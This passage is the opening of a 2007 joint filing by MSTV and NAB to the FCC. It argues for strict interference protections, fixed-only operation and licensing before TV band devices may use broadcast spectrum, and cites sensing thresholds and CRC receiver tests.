https://hu.linkedin.com/in/zbalazs Twitter – @zh4ck www.slideshare.net/bz98 Greetz to @hekkcamp JumpESPJump.blogspot.com
pdf
Before the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of ) ) Unlicensed Operation in the TV Broadcast ) ET Docket No. 04-186 Bands ) ) ET Docket No. 02-380 Additional Spectrum for Unlicensed Devices ) Below 900 MHz and in the 3 GHz Band ) To: The Commission JOINT COMMENTS OF THE ASSOCIATION FOR MAXIMUM SERVICE TELEVISION, INC. AND THE NATIONAL ASSOCIATION OF BROADCASTERS TABLE OF CONTENTS EXECUTIVE SUMMARY .........................................................................................................iii I. THROUGHOUT THIS PROCEEDING THE COMMISSION MUST UPHOLD ITS COMMITMENT TO THE DIGITAL TELEVISION TRANSITION................ 2 II. CERTAIN MINIMUM PROTECTIONS MUST BE ADOPTED BEFORE ALLOWING TV BAND DEVICES TO OPERATE IN THE BROADCAST SPECTRUM...................................................................................................................... 5 III. THE INTERFERENCE HARMS POSED BY TV BAND DEVICES ARE NOT ADEQUATELY ADDRESSED IN THE FNPRM. ....................................................... 8 A. Any Operation By A TV Band Device On A Co-Channel Basis Will Cause Interference For Miles...................................................................................................... 9 B. The Current Sensing Proposals Are Inadequate To Protect Against Co-Channel Interference. .................................................................................................................... 10 1. The Proposal Of A -116 dBm Sensing Level Is Insufficient To Protect Incumbent Services......................................................................................................................... 11 2. The Comparison Of The Use Of Spectrum Sensing In The 5 GHz Band With The Current Situation Is Misplaced. ................................................................................ 13 C. Any Operation of a TV Band Device On A Television Station’s First Adjacent Channel Will Harm Reception. ..................................................................................... 16 D. CRC TV Receiver Tests Demonstrate Interference From TV Band Devices On Adjacent Channels, Taboo Channels, As Well As Additional Interference Caused By Multiple Devices. ....................................................................................................... 17 1. Interference Performance Can Vary Significantly Across DTV Receivers And Interference Mechanisms........................................................................................... 18 2. Interference On First Adjacent Channels Is A Serious Concern And Therefore First Adjacent Use Should Be Avoided Within A TV Station’s Protected Contour. ....................................................................................................................................... 19 3. Interference On Second And Third Adjacent Channels Is Very Problematic As Well As Operations On N+7 And On “Image” Frequencies N+14 And N+15...... 20 4. Multiple Interfering Signals Will Reduce Interference Performance And D/U Protection Ratios Of DTV Receivers......................................................................... 21 E. TV Band Devices Have The Potential To Cause Severe Out-of-Band Interference. 21 ii F. TV Band Devices Should Be Extensively Tested Prior to Developing Rules and Measurement Procedures for Operation in the TV Bands......................................... 24 IV. IF DEVICES ARE ALLOWED TO OPERATE ON AN UNLICENSED BASIS, THE COMMISSION MUST OVERCOME ITS LACK OF AN EFFECTIVE MEANS TO ENFORCE ITS PROHIBITION ON INTERFERENCE FROM TV BAND DEVICES TO EXISTING LICENSED SERVICES. ..................................... 26 A. In An Unlicensed Regime, Consumers Will Be Unable To Resolve Problems With Interference. .................................................................................................................... 27 B. The Commission Lacks The Means, And Potentially The Authority, To Resolve The Problems With Unlicensed Devices............................................................................... 28 C. It Will Also Be Difficult For The Commission To Prevent The Sale Of Illegal Devices And Aftermarket Accessories. ......................................................................... 30 D. The Commission Must Implement An Effective Enforcement Regime..................... 31 V. GIVEN THE MANY INTERFERENCE CONCERNS, AND THE LACK OF SUFFICIENT ENFORCEMENT MECHANISMS, THE COMMISSION SHOULD PROCEED CAUTIOUSLY WITH PROPOSALS TO ALLOW TV BAND DEVICES TO SHARE THE BROADCAST SPECTRUM........................................ 32 A. By Authorizing Only Fixed TV Band Devices To Operate, Accompanied By Proper Protections, The Commission Can Promote A Broadband Plan Without Endangering Television Reception................................................................................ 33 B. Personal/Portable Devices Are Not Compatible With Existing Operations In The Broadcast Spectrum........................................................................................................ 34 C. Only Exclusively Licensed TV Band Devices Should Be Allowed To Operate In The Broadcast Spectrum........................................................................................................ 36 EXECUTIVE SUMMARY Over the next few years, consumers will spend billions of dollars in new digital receiving equipment, and the government will spend 1.5 billion dollars on a subsidy to fund digital to analog converter boxes. At a minimum, consumers will be replacing approximately 70 million television receivers that rely exclusively on over the air television reception. In addition, as the digital television world unfolds, new opportunities are emerging for over-the-air television broadcasting. New over-the-air mobile and portable devices and services are being developed. Advancements in transmission and distributed transmission systems are on the horizon. All of these investments, as well as the billions spent by broadcasters building the new digital television infrastructure, will be wasted if new DTV sets and other new DTV products and services receive interference from so called, “low power” TV band devices. In the digital world, interference causes the picture to become unwatchable. The evidence presented in this proceeding, including research by the Canadian Research Centre Canada, as well as other leading experts demonstrate that the risk of co-channel, adjacent channel, out of band emission and other types of interference is significant. The existing Part 15 rules and the TV band device proposals to date will not protect consumers from interference. Accordingly, the Association for Maximum Service Television, Inc. (“MSTV”) and the National Association of Broadcasters (“NAB”) hereby request the following: • As the Commission has rightly decided, no TV band devices should be permitted to operate before the DTV transition. . • As the Commission tentatively concluded, any operation of TV band devices should be limited to fixed operations only. Personal and portable operations should not be permitted. • Protection of DTV operations should be based on Desired-to-Undesired (D/U) ratios. iii • To avoid interference to TV viewers, all TV band devices must operate outside the protected contour on both co- and adjacent channels. Such devices should not operate inside a stations contour on either the co-channel or first adjacent channels. • The sensing threshold proposed in the FNPRM does not provide adequate co- channel protection and misinterprets IEEE approach • The proposed out-of-band emission limits (Part 15.209) are inadequate to protect DTV viewers and must be amended. • The Commission must conduct testing to ensure that the final rules sufficiently protect television viewers. The Commission must enact a rigorous enforcement program • Any new devices allowed to operate in the broadcast spectrum should be exclusively licensed; no unlicensed operation should be allowed. MSTV and NAB understand the need to provide the opportunity for additional wireless broadband opportunities, especially in rural areas. We agree this goal can be accomplished without endangering millions of TV viewers and consumers. Nonetheless, the introduction of “low power” TV band devices, especially personal and portable devices, in the television broadcast band is an unprecedented spectrum sharing proposal which needs to be accompanied by proper testing. The protections adopted by the FCC should not threaten the success of the DTV transition. Only this way can the Commission guarantee that such devices do not harmfully interfere with existing licensed services in the band. iv Before the FEDERAL COMMUNICATIONS COMMISSION Washington, DC 20554 In the Matter of ) ) Unlicensed Operation in the TV Broadcast ) ET Docket No. 04-186 Bands ) ) ET Docket No. 02-380 Additional Spectrum for Unlicensed Devices ) Below 900 MHz and in the 3 GHz Band ) JOINT COMMENTS OF THE ASSOCIATION FOR MAXIMUM SERVICE TELEVISION, INC., AND THE NATIONAL ASSOCIATION OF BROADCASTERS The Association for Maximum Service Television, Inc. (“MSTV”)1 and the National Association of Broadcasters (“NAB”)2 file these comments in response to the Commission’s First Report and Order and Notice of Further Proposed Rulemaking (“First R&O and FNPRM”). As discussed below, in order to avoid undoing the decades-long efforts at bringing the benefits of digital television (“DTV”) to the American public, the regime under which any new devices are allowed into the broadcast spectrum must protect existing and future television and related licensed services from interference.3 Any decision to permit new so-called 1 MSTV is a non-profit trade association of local broadcast television stations committed to achieving and maintaining the highest technical quality for the local broadcast system. 2 NAB is a nonprofit trade association that advocates on behalf of more than 8,300 free, local radio and television stations and also broadcast networks before Congress, the Federal Communications Commission and other federal agencies, and the Courts. 3 Today, the TV spectrum is used by full power television stations, class A, low power television and TV translator stations to provide traditional local broadcast television services to the public. There are approximately 1,750 full service analog and digital television stations, over 500 class A stations, nearly 2,300 low power stations, and approximately 4,500 translator and booster stations. See Broadcast Station Totals as of December 31, 2006, News Release (rel. Jan. 26, 2007), available at http://hraunfoss.fcc.gov/edocs_public/attachmatch/DOC-269784A1.doc (last visited Jan. 31, 2007). The TV spectrum also supports vital broadcast auxiliary operations, such Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 2 of 40 “TV band” devices must ensure that existing licensed operations are fully protected and the ability of TV broadcasters and other licensees to improve their operations and offer new services is not impeded.4 I. THROUGHOUT THIS PROCEEDING THE COMMISSION MUST UPHOLD ITS COMMITMENT TO THE DIGITAL TELEVISION TRANSITION. The unprecedented spectrum sharing proposal at issue in this proceeding, whereby “TV band devices” may be allowed to transmit alongside the nation’s broadcast television service, poses a significant risk of interference to the viewing public. These devices, although characterized by the FNPRM as “low power,” may operate at power levels as high as 4 Watts – a power level which, for purposes of evaluating potential interference to television receivers or licensed wireless microphones, is by no means “low”.5 As the Commission considers adopting any rules authorizing such devices, it must be guided by its longstanding commitment to prevent interference to licensed services.6 Upholding that commitment to the viewing public has never been more important, as consumers are transitioning, en masse, to DTV. In the span of the next two years, consumers as wireless microphones used in program production and Electronic News Gathering (“ENG”). In the future, DTV promises to bring exciting new services to the American consumer, such as multiple high definition programming and mobile and portable television services. 4 These comments use the term “TV band devices” to describe devices that may be allowed to operate in the television spectrum as a result of this proceeding. In this proceeding, the Commission has suggested that such devices could operate anywhere from 100 mW to 4 W. 5 The Commission has proposed that TV band devices may operate at up to 4 Watts. This is considerably more, for example, than licensed wireless microphones, which may only operate with up to 250 mW under Part 74 of the rules. See 47 C.F.R. §74.861. It is also a much higher power level than other unlicensed devices, such as Broadband over Powerline (“BPL”) devices, which are only permitted to operate at approximately .000000027 Watts using the suggested calculation contained in OET Bulletin No. 63 to convert 90 microvolts/meter field strength to power. See 47 C.F.R. §15.109. 6 See Unlicensed Operation in the TV Broadcast Bands, Notice of Proposed Rulemaking, 19 FCC Rcd. 10018, 10019 ¶ 3 (2004) (“Initial White Spaces NPRM ”); 47 C.F.R. § 15.5. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 3 of 40 will purchase billions of dollars of new DTV equipment to continue to receive their local television services.7 There are approximately 70 million television sets that rely exclusively on over-the-air transmissions and are not connected to cable or satellite services.8 The Commission must make certain that these millions of television viewers, who will have spent a significant amount of money to receive digital television signals, are not adversely impacted by any TV band devices that may operate within the broadcast spectrum. Now is a particularly sensitive time in which to allow the unprecedented sharing of spectrum among licensed television services and “low power” TV band devices. The stakes in this proceeding are especially high given that interference concerns are even more pronounced in the DTV context. As MSTV and NAB have previously explained, DTV is an all-or-nothing technology; interference means not just a degraded picture, but no picture at all.9 If consumers are subjected to harmful interference from TV band devices, they will see a frozen picture or blank screen – in other words, a complete loss of over-the-air service. 7 In addition, the Commission must keep in mind the billions of dollars that broadcasters have and will have invested to build out their stations and infrastructure to bring DTV service to the public. 8 Most significantly affected will be the 20 million households who rely solely on broadcasters’ over-the-air signals. The Commission must not lose sight, however, of its obligation to protect the millions of cable and satellite households with one or more television sets that are not connected to the pay service. See Comments of NAB and MSTV, MB Docket No. 04-210 (filed Aug. 11, 2004); Comments of the Association of Public Television Stations, MB Docket No. 04- 210 (filed Aug. 11, 2004) at 10 (estimating 34.5 million over-the-air sets in homes that also subscribe to cable or satellite); Comments of the Consumer Electronics Association, MB Docket No. 04-210 (filed Aug. 11, 2004) at 4 (“[E]ven in cable and/or satellite households, not every television in the household may be connected to these services. This reflects the household’s conscious decision whether or not to connect”); Comments of Sinclair Broadcast Group, Inc., MB Docket No. 04-210 (filed Aug. 11, 2004) at 3 (“Approximately 33 percent of the respondents [to a survey conducted by Sinclair] live in households with at least one television that is used exclusively for free, over-the-air analog reception.). 9 See Joint Comments of MSTV and NAB, ET Docket No. 02-380 (filed Jan. 27, 2003). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 4 of 40 Further, as discussed below, once these TV band devices are in the hands of consumers, the Commission will have no effective means of policing interference. While MSTV and NAB applaud the Commission’s decision in the First R&O to keep TV band devices from operating in the broadcast spectrum until after the conclusion of the DTV transition, it is important to ensure that the public continues to experience the benefits of digital television technology well past the transition date of February 17, 2009.10 With all the public and private resources invested over the past two decades, including the $1.5 billion appropriated by Congress for digital-to-analog converter boxes,11 sacrificing the digital transition for speculative gains in unlicensed technologies would be a mistake. Years of hard work by broadcasters, government officials, consumer electronics manufacturers, and others have seen considerable progress. If TV band devices are allowed to interfere with digital television reception in 2009 or later, local consumers would lose out on the many public interest benefits of digital television, which the Commission has described to the public as “a new type of broadcasting technology that will transform television as we now know it.”12 The FNPRM focuses on the traditional television model of a large tower transmitting a signal to a stationary television and fails to consider how the introduction of TV band devices could stunt the future development and improvement of new DTV technologies. The 10 That is, although the public may awake to excellent DTV reception in early 2009, if interfering devices are introduced into the spectrum, over time (and perhaps quite quickly) the ability of broadcasters to provide the public with the benefits of DTV, and improved coverage and reliability of that reception, will decline. Without carefully crafted interference protections, within just a few years or even months of the transition date, viewers experiencing seemingly inexplicable interference could begin returning newly acquired digital equipment and government-subsidized converter boxes. 11 See Deficit Reduction Act of 2005, Pub. L. No. 109–171, §3005, 120 Stat. 4, 23 (2005). 12 FCC, Digital Television – Get It – Tomorrow’s TV Today!, FAQ, available at http://www.dtv.gov/consumercorner.html. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 5 of 40 Commission is already considering, however, whether new technologies, such as Distributed Transmission Systems (“DTS”),13 could improve the quality of service to local communities. Similarly, the industry, through ATSC, has adopted one new broadcast standard, and is in the process of evaluating additional standards to allow exciting new functionality, such as the broadcast of digital television signals to mobile and portable devices, including vehicular and pedestrian reception.14 These are merely the first in what will certainly be a series of new DTV technological advancements.15 Consequently, any rules the Commission creates to govern TV band devices must account for, and protect, these new evolving digital broadcast technologies and services.16 II. CERTAIN MINIMUM PROTECTIONS MUST BE ADOPTED BEFORE ALLOWING TV BAND DEVICES TO OPERATE IN THE BROADCAST SPECTRUM. While MSTV and NAB continue to have concerns about the Commission allowing any TV band devices to operate in the spectrum, at a minimum, the Commission must ensure that its final rules incorporate the following principles: • As the Commission has rightly decided, no TV band devices should be permitted to operate before the DTV transition. The interference potential for TV band devices operating in the spectrum will be at its highest during the digital transition. If consumers experience interference prior to the DTV transition, this will severely disrupt the effectiveness of the transition. The Commission should not do anything to undermine this important transition and therefore must not 13 See Digital Television Distributed Transmission System Technologies, Clarification Order and Notice of Proposed Rulemaking, 20 FCC Rcd. 17797 (2005). 14 Mark Richer, Making DTV The Best That It Can Be, TVNewsday, Jan. 25, 2007. 15 For example, numerous devices are now available that permit the reception of DTV signals on laptop and personal computers. 16 The Commission must also ensure that any new rules adopted in this proceeding do not inhibit the creation and protection of 175 new DTV allotments, as provided for in the Community Broadcasters Protection Act of 1999. See Community Broadcasters Protection Act of 1999, Pub. L. No. 106-113, § 1000(a)(9), 113 Stat. 1536 (1999). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 6 of 40 waiver from its commitment to keep all new devices out of the spectrum at least until February 2009. • MSTV and NAB agree with the Commission that any operation of TV band devices should be limited to fixed operations only. The Commission’s cautious approach to permit only fixed low power TV band devices to operate in the broadcast spectrum is certainly a proper course of action. Personal/portable devices should not be allowed to operate in the television band until further study and testing. Given the unprecedented interference potential of these low power operations, it is important that the Commission first gain experience with the rules for fixed devices in this spectrum to ensure that those operations do not cause interference before allowing uncontrolled nomadic personal/portable devices to operate. • Protection of DTV operations should be based on Desired-to-Undesired (D/U) ratios. In the initial Notice of Proposed Rulemaking (“NPRM”), the Commission correctly noted that “whether or not interference occurs depends on the desired to undesired signal ratio needed for acceptable service.”17 Any rules adopted for TV band devices must assure that appropriate D/U ratios are maintained to ensure that interference is not caused to TV viewers throughout the TV station service area. Such ratios should apply to all new TV band device operations in the band. Indeed, as discussed more fully below, although additional testing conducted by Communications Research Centre Canada (“CRC”) on DTV receiver susceptibility generally supports use of those limits, it moreover suggests that interference protection considerations should also be given to second and third adjacent channels as well as to channels N+7, N+14 and N+15 and that further study on the impact of multiple interfering devices is needed. • To avoid interference to TV viewers, all TV band devices must operate outside the protected contour on both co- and adjacent channels. To protect all TV viewers including those that receive a weak but acceptable DTV signal, a TV band device cannot operate on a co- or adjacent channel within the protected contour of a television station.18 It should also be noted that a “weak” signal can be found anywhere within the TV service area, as occurs, for example, when the desired station’s signal is blocked by terrain or buildings, or when the viewer uses an indoor antenna. Therefore, to ensure that the harmful interference is not caused to television reception, any TV band device must be located outside the television station contour, at a sufficient distance such that the required D/U protection criteria are always met. • The sensing threshold proposed in the FNPRM does not provide adequate co- channel protection and misinterprets IEEE’s approach. The sensing or 17 Initial White Spaces NPRM at ¶ 30. 18 Considering that a desired DTV signal of -83 dBm and above will produce a perfect picture and sound, and the D/U ratios which are necessary to protect television reception, TV band devices must operate outside the protected contour. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 7 of 40 detection threshold level should be a function of the interference potential of the TV band device and should ensure that the TV band device is far enough away not to cause interference to television reception. In proposing a level of -116 dBm, the FNPRM failed to provide any analysis on how that level would provide such protection to viewers, citing only that the level was supported by the working group of IEEE 802.22 Wireless Society (“IEEE 802.22”). In fact, the FNPRM’s proposal misunderstands IEEE 802.22’s important proposal, which protects licensed services by absolutely barring operation within the television station’s protected contour. To prevent such operation, IEEE 802.22 would employ sensing in addition to geolocation – specifically, GPS and professional installation requirements that guarantee that the new device stays a sufficient distance outside the protected contour of a TV station’s co- and adjacent channel. IEEE 802.22’s use of a -116 dBm sensing level is merely one piece of the mechanism necessary to protect the viewing public, not the whole solution. • The proposed out-of-band emission limits are inadequate to protect DTV viewers and must be amended. The current Section 15.209 limits, which define out-of-band emission limits for unlicensed devices, were adopted when unlicensed devices operated with narrow band emissions and operation in the TV band was prohibited. Testing conducted by CRC, and previously submitted by MSTV, has documented the fact that the existing Section 15.209 limits are inadequate to protect wideband DTV signals and TV viewers.19 Permitting emissions from TV band devices at these levels will interfere with digital television sets to such a degree that the television will go blank on all channels where such energy is present; such interference can occur at a distance of up to 78 feet from the “low power” device. Thus, as discussed more fully below in Section III, IEEE 802.22 and others have shown that the Section 15.209 limits must be reduced by 33 dB to avoid interference. • The Commission must conduct testing to ensure that the final rules sufficiently protect television viewers. Just as theoretical interference models did not predict the interference between CMRS and public safety communications systems in the 800 MHz band,20 they cannot reliably predict whether unlicensed devices would harm broadcast television reception. As MSTV and NAB have previously urged, the Commission should not allow new uses of the television broadcast spectrum without actual proof – in the form of detailed engineering studies and field tests – that such uses will preserve access to free, over-the-air television. To that end, any proposed “test devices” submitted to the Commission by third parties in support of proposals in this proceeding should be made available for inspection by 19 See Joint Comments of MSTV and NAB, ET Docket No. 04-186 (filed Nov. 30, 2004) (“MSTV/NAB White Spaces Comments”) at App. A. 20 See Improving Public Safety Communications in the 800 MHz Band, 19 FCC Rcd 14969, at ¶ 13 (2004) (“Despite the claims by some that licensees in the cellular telephone bands cause little interference to 800 MHz band public safety systems, strong evidence exists to the contrary”). Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 8 of 40 the public.21 In addition, the Commission should publish its testing methodology far in advance of the actual testing to allow for public input and comment. • Any new devices allowed to operate in the broadcast spectrum should be exclusively licensed; no unlicensed operation should be allowed. As compared to an “unlicensed” device regime, a licensed system provides more reliable protection to users of existing services, leads to more efficient use of the broadcast spectrum, and reaps significant economic benefits for the American taxpayer. Providing for licensed use of any “white spaces” in the broadcast spectrum is particularly appropriate given the vast amounts of unlicensed spectrum in other bands that the Commission has made available in recent years. • The Commission must enact a rigorous enforcement program. If the Commission allows TV band devices to operate in the spectrum, it must develop a reliable system to enforce the prohibition on these devices interfering with licensed services. Without such enforcement mechanisms, the rules prohibiting interference with incumbent services will be ineffective. III. THE INTERFERENCE HARMS POSED BY TV BAND DEVICES ARE NOT ADEQUATELY ADDRESSED IN THE FNPRM. In designing rules to safeguard the viewing public’s access to digital television, it is important to recognize that interference from TV band devices will be caused not at the point of transmission (i.e., the television tower), but rather at the point of reception (i.e., the television set in a family’s living room, kitchen, bedroom, basement, or elsewhere). Television sets are scattered through a television station’s service area, and whenever any device is in proximity to any television receiver the risk of interference will increase. As discussed below, the FNPRM would leave millions of viewers unprotected from such interference. Specifically, there are four types of interference TV band devices cause to DTV receivers: (1) co-channel interference; (2) adjacent channel interference; 22 (3) interference from 21 See Office of Engineering and Technology Invites Submittal of Prototype TV Band Devices For Testing, DA 06-2571 (rel. Dec. 21, 2006). 22 MSTV and NAB generally support the co-channel and adjacent channel D/U protection ratios proposed in the initial NPRM but these protections must apply to all TV band operations, including personal/portable devices. Recent testing by the CRC supports the proposed D/U ratios for DTV of -26 dB for upper adjacent channel operations, and -28 dB for lower adjacent channel Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 9 of 40 taboo channels and unwanted intermodulation products; and (4) out-of-band interference. New testing by the CRC suggests that interference can also occur to DTV receivers on second and third adjacent channels and on channels N+7, N+14 and N+15. The CRC testing also provides evidence that the performance of a DTV receiver can be adversely affected by the presence of multiple interfering signals causing unwanted intermodulation products and interference. A more detailed description of these types of interference is presented in the paper at Exhibit A, prepared by Robert Eckert. The Commission is required to protect incumbent services from all types of interference,23 but upholding this requirement is particularly challenging in the context of the unprecedented spectrum-sharing proposal at issue in this proceeding. To date, the type of “low power” devices (i.e., unlicensed devices) proposed have been allowed to operate only in bands with little or no licensed, communications services. By introducing such devices into spectrum already used to deliver the public’s free, over-the-air television service, the risks from all types of interference become quite significant, but the FNPRM falls far short of addressing those risks. A. Any Operation By A TV Band Device On A Co-Channel Basis Will Cause Interference For Miles. Unless rules adopted in this proceeding reliably prevent TV band devices from operating on the same channel (i.e., co-channel) as local television stations, consumers’ sets will experience severe and incurable interference. Such interference will disable a consumer’s ability operations. These values will ensure that DTV operations are provided adequate protection on co- and adjacent channels taking into account the fact that TV band devices may operate with different modulation schemes and multiple TV band devices may be present. These values will also ensure that TV band devices provide at least the same level of protection as TV licensees receive from other licensed operations. However, based on testing by CRC, D/U ratios for other channels should also be developed to ensure protection of TV viewers as discussed in Section III E, herein. 23 See 47 U.S.C. §301; 47 C.F.R. § 15.5. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 10 of 40 to receive the co-channel television station for up to tens of miles depending on the power and antenna height of the TV band device. The severe effects of such co-channel interference are verified by an analysis of data submitted previously by Intel, despite its support of an aggressive “unlicensed devices” regime. Specifically, in its comments to the Commission, Intel suggested that the interference range of a 100 mW personal/portable unlicensed device is approximately 8 kilometers (or 5 miles) from a television contour, therefore acknowledging that in order not to cause interference to TV reception, any TV band device must operate at a sufficiently large distance away from the television contour.24 In fact, the actual zone of interference would be much larger, as Intel’s analysis incorrectly assumes a 14 dB antenna discrimination factor.25 In any event, even the parties with least incentive to protect television viewership, such as Intel, acknowledge that TV band device operation on a co-channel can cause significant interference to television viewers over a large area. B. The Current Sensing Proposals Are Inadequate To Protect Against Co- Channel Interference. Despite the acknowledged effects of co-channel interference on television receivers, the FNPRM would allow such interference to occur. The FNPRM’s proposal to control for such 24 See Comments of Intel Corp, ET Docket No. 04-186 (filed Nov. 30, 2004) (“Intel Comments”) at App. A. This calculation is based on an 8 km or 5 mile radius. In some cases, since television receivers can be located in front of a TV band device, the 14 dB antenna discrimination would not apply and the actual calculated interference area would be much larger. Moreover. This is based on a 100 mW device. In this proceeding, however, the FCC has contemplated power levels of up to 4 watts. 25 Intel assumes that the TV band device will always be located a sufficient distance from the TV station contour such that any emissions from the TV band device will be into the “back” of the TV antenna and the front-to-back discrimination of the TV antenna can be taken into account. Intel also assumes the TV antenna and TV band device are at different heights such that there is a “slant angle” to the TV receiving antenna. The -118 dBm sensing level proposed by Intel would actually allow the TV band device to be located inside the TV station contour in some instances where the use of these antenna discrimination factors would not apply. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 11 of 40 interference by having devices “sense” the presence of a co-channel television signal (and then cease operating if a television signal of a certain level is sensed) falls far short of protections necessary to protect the viewing public. 1. The Proposal Of A -116 dBm Sensing Level Is Insufficient To Protect Incumbent Services. The -116 dBm sensing level proposed in the FNPRM will fail to adequately protect licensed television services.26 At a minimum, a sensing detection level must ensure that a TV band device is a sufficient distance outside the protected contour of the TV station to prevent interference, but the level proposed would often allow operation within the protected contour. Indeed, the proposed sensing level for a device that can operate with up to 4 Watts is higher (i.e., less strict) than the level proposed by Intel for even a 100 milliwatt device, which itself was insufficient.27 As discussed below, a sensing threshold set at the level proposed would do little to protect the viewing public from harmful co-channel interference. 26 See Unlicensed Operation in the TV Broadcast Bands, First Report and Order and Further Notice of Proposed Rulemaking, ET Docket No. 04-186, FCC 06-156 (rel. Oct. 18, 2006) (“First R&O and FNPRM”) at App. B, §15.707(f). The Commission also did not define over what bandwidth this threshold detection value is to be measured other than to suggest that detection is “within the TV band device channel bandwidth.” The specification of a measurement bandwidth is important since it can have a significant impact on the detection level. For example, there is a 27 dB difference between signals of -116 dBm if they are measured using a 6 MHz bandwidth or a 10 kHz bandwidth. Therefore, it is essential to also specify the bandwidth for the detection threshold level. Since TV operations use a 6 MHz channel, we recommend that any detection threshold level used for protection of TV operations be specified over 6 MHz bandwidths so as to match the TV channels identified in Section 73.602 of the Commission’s rules. If smaller bandwidths are permitted, the threshold level must be lowered to take into account the reduced energy of the TV signal being measured in the smaller bandwidth. 27 See Intel Comments. Intel’s interference analysis is predicated on the assumption that a –85 dBm signal level will always be at least 8 kilometers beyond the Grade B contour and therefore one can reduce the interfering signal of the unlicensed device by a factor of 20 dB or 100 times. In fact, DTV signals at levels at or below –85 dBm can and do occur within the DTV service area where this reduction is not appropriate and the unlicensed device would cause additional significant interference to DTV viewers. The detection level suggested by Intel also fails to take account of signal variability, which necessitates a lower (i.e., stricter) detection threshold. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 12 of 40 Both the previous Intel and the current FNRPM sensing proposals fail to recognize that TV signal levels are not uniformly distributed throughout a station’s service area; consequently, there are locations where television receivers may not receive a television signal that is adequate for viewing.28 The current sensing proposals, however, would allow a device to transmit on a co-channel basis, inside the TV contour, despite the fact that interference could be caused to TV viewers for miles. That is, the sensing proposals operate under the false presumption that if the television signal is weak (i.e., below the proposed detection threshold), then the TV band device is far enough outside a television station’s service area to not cause harmful interference. The proposed detection threshold level of -116 dBm clearly does not provide this level of protection.29 28 The TV viewer will avoid locations where the TV signal is not adequate (for example, using an indoor antenna in a basement location) because the TV receiver will not operate properly. The user of the TV band device, however, has no such incentive to avoid poor TV reception locations inside the TV contour. In fact, the TV band device would actually provide the user with more channels and capacity and the user would be unaware of the fact that the device was causing interference to TV reception. 29 The detection threshold of -116 dBm is referenced to a 0 dBi gain antenna. For the purposes of this example, assume that the -116 dBm detection threshold is measured over the 6 MHz TV channel. There are therefore actual physical differences in the “receive” system used by the unlicensed device and a TV receiver. The -116 dBm received by a TV band device is equivalent to a -99 dBm signal received by a TV receiver taking into account the difference in antenna gain and height between the TV and the device operation. (There is a 10 dB difference in antenna gain between a typical outdoor TV antenna and the 0 dBi sensing antenna required under the proposed rules (0 dBi vs. 10 dBi). There is also a 7 dB difference in the height of the antennas (6 feet vs. 30 feet)). The question then becomes can a TV signal of -99 dBm or less occur within or close to the protected TV contour? The answer is clearly yes. In fact, in limited measurements taken in 1998 by MSTV of WETA’s coverage, three outdoor sites within the protected contour (located 36.4, 37.8, and 42.9 miles from the transmitter) were found to have signal levels less than -99 dBm or less than -116 dBm referenced to a 0 dBi antenna. Therefore, a TV band device sensing at -116 dBm at these three locations would have failed to protect TV viewers. In addition, at many sites, the signal level was only a few decibels above the -99 dBm level. Since the measurement procedure called for locating the “maximum” signal level at each location, it is highly likely that the “average” signal level at these locations would be well below the -99 dBm level. It should also be noted that all of these measurements were taken “outdoors” at sites where reception was expected to be successful. In fact, when the TV band devices were assumed to be located indoors, where the TV signal was attenuated by only 10 dB, the analysis showed 38 Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 13 of 40 In addition, the sensing level must be low enough to protect against the “hidden node” problem, whereby the TV band device is located behind an obstruction, such as a building or a hill, which prevents it from receiving the television signal. If this occurs, the channel would appear “vacant” to the TV band device’s receiver and the device would therefore transmit, even though the device is well inside the service area of a co-channel television station. The sensing proposals erroneously assume that a predetermined detection threshold level (whether -116 dBm or otherwise) will guarantee that the unlicensed device will be sufficiently outside the protected television station’s service area, and thus the TV band device will not cause interference. In fact, as discussed above, signal detection and sensing alone cannot accurately predict location.30 As there may be locations within the service area where the signal level may be below the designated sensing detection level, the current proposed -116 dBm sensing level will be ineffective at preventing interference. As outlined in Section V, below, additional protections are necessary to prevent co-channel interference. 2. The Comparison Of The Use Of Spectrum Sensing In The 5 GHz Band With The Current Situation Is Misplaced. The FNPRM, and other commenting parties, have misused the fact that spectrum sensing has preliminarily been used to prevent interference in the 5 GHz band, as support for the locations well within WETA’s protected contour. In these locations, the signal level received by a TV band device would have been less than -116 dBm and sensing would have failed, resulting in significant interference to surrounding TV viewers. Additional measurements are currently being conducted in the Washington/Baltimore area, and will be submitted in the reply phase of this proceeding. Preliminary results support previous findings. 30 Proponents of a sensing approach posit that by using very sensitive receivers, sensing will effectively prevent interference. While it is potentially possible to determine a sensing level that will ensure that low power devices are operating outside of the contour, this is highly impractical. If the detection level is set low enough to actually provide protection to DTV viewers, the detection level will be well below the ambient “noise floor.” The result will be that all spectrum will appear occupied and the detector will never find unused or unoccupied spectrum. Comments of MSTV and NAB Jan. 31, 2007 ET Docket Nos. 02-380 and 04-186 Page 14 of 40 proposition that spectrum sensing alone will be effective in preventing interference in the television band.31 This comparison confuses the problem of transmitter detection (for which sensing is relatively effective) with the real issue of protecting television reception from interference (for which sensing is woefully inadequate). While the FNPRM acknowledges in passing the differences between the effectiveness of sensing in the 5 GHz band and in the broadcast spectrum,32 it mistakenly argues that the problem can be fixed with a more sensitive detection threshold.33 In fact, it is far easier to use sensing technologies to protect a 5 GHz radar receiver than consumers’ DTV reception. First, significant differences in the location of the receivers indicate that sensing will be markedly less effective in the television context in terms of preventing interference. In the 5 GHz band, the radar receiver to be protected is co-located with the radar transmitter whose emissions can be “sensed,” making protection of the radar receiver relatively easy and straightforward technically. In contrast, television receivers are not co-located with the television transmitter, but rather are located throughout a television station’s service area. Consequently, there is no signal that can be sensed to tell an unlicensed device how close it is to a television receiver or 